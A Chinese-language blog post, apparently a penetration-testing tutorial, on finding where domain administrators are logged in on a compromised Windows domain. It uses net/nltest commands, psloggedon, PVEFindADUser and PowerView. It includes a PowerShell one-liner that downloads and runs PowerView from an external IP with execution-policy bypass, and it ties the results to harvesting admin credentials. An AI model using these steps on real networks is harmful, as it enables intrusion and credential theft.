浅谈内网信息收集之定位域管理员
在有域的环境中,要进行进一步渗透,一定会向域管理员权限靠拢的
关于之前域内信息收集的命令,我在之前文章有整理过
今天不提信息收集,毕竟信息收集是个大活,也写不完
关于横向移动和hash抓取,我之前文章也有讲
今天就说如何在信息收集中,定位域管理员的小知识点
从域内一台机器上,定位域管理员有两种渠道,要么日志,要么会话
日志可以导出查看、会话的话,康康域中机器的登录会话是哪一个,也许有意外收获
0x00 前言
先做一些准备工作,递进关系
在域中任意机器上执行
net view /domain
查看当前域名
net view /domain:域名
查看域内部所有计算机名
net group /domain
查看域内部所有用户组列表
net group "domain computers" /domain
查看所有域成员计算机列表
net accounts /domain
查看域密码信息
nltest /domian_trusts
获取域信任信息
nltest /DCLIST:域名
查看域控制器机器名
net time /domain
查看当前时间,因为时间服务器也是主域服务器,可以看到域服务器的机器名
net group "Domain Controllers" /domain
查看域控制器组,因为可能有不止一台域控,有主备之分
net user /domain
查询域内用户,会看到熟悉的krbtgt用户
wmic useraccount get /all
获取域内用户详细信息
dsquery user
查看域内存在的用户
net localgroup administrators
查看本地管理员用户组
net group "domain admins" /domain
查询域管理员用户
......那么问题来了
既然可以查到域中有哪些域管理员账号,那这篇文章讲什么呢?
讲的是定位,看一眼,有哪些账号登录了哪些机器,不然你抓密码都不知道去哪抓
0x01 psloggedon.exe
下载链接 https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
pstools大礼包中自带此工具
此工具用于查看本地登录的用户和通过本地计算机或远程计算机资源登录的用户
psloggedon.exe [-] [-l] [-x] [\\computername或username]
\\后面接的是域控机器名,看一下登录过域控的用户名
如果\\接的是用户名,那就会搜索网上邻居的计算机,并显示当前用户是否已经登录
据说此工具某些功能需要管理员权限,我也没测试出具体哪些功能有限制
后面接用户名可以查看此用户登录过的计算机
不过此工具本质是检测注册表中HKEY_USERS的key值、调用了NetSessionEnum的API来判断谁登录过哪台机器,如果无法读取或者读取注册表失败,此工具效果很差
0x02 PVEFindADUser.exe
下载链接 https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
功能也是查找域用户位置、某计算机上登录用户。运行需要计算机支持framework2.0且以管理员权限运行
直接pvefinaduser.exe -current,一把梭,即可查看域中所有计算机的登录用户
但是貌似系统判断精准度有些问题。。。
0x03 PowerView.ps1 脚本
下载链接 : https://github.com/PowerShellEmpire/PowerTools
Invoke-UserHunter:找到域内特定的用户群
打开powershell,进入Recon目录,输入Import-Module .\PowerView.ps1 导入脚本
然后输入Invoke-UserHunter
即可获得所有域管理员的登录位置信息
我这是在本机演示的,有此工具,实际上可能目标机器并没有这个工具,那就需要远程导入了
比如
powershell.exe -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://外网IP/powersploit/Recon/PowerView.ps1');Invoke-UserHunter
类似这种的情况可能多一些
补充:
如果我们上一步确定了域管理员登录了哪台机器,可以通过寻找域管理员登录进程,来收集域管理员凭据
啊,但是,可能你获得权限的登录这台机器的用户不是域管理员权限用户,且没有管理员权限的用户登录过这台机器,那就比较蛋疼
比如在你获取权限的机器上执行:
net group "Domain Admins" /domain 获取域管理员列表
tasklist /v 列出本机所有进程及进程用户
如果有域管理员登录这台机器就会有匹配的进程了
但大多数情况下不会有这么好运气
另:PowerView是个好东西
未经允许,禁止转载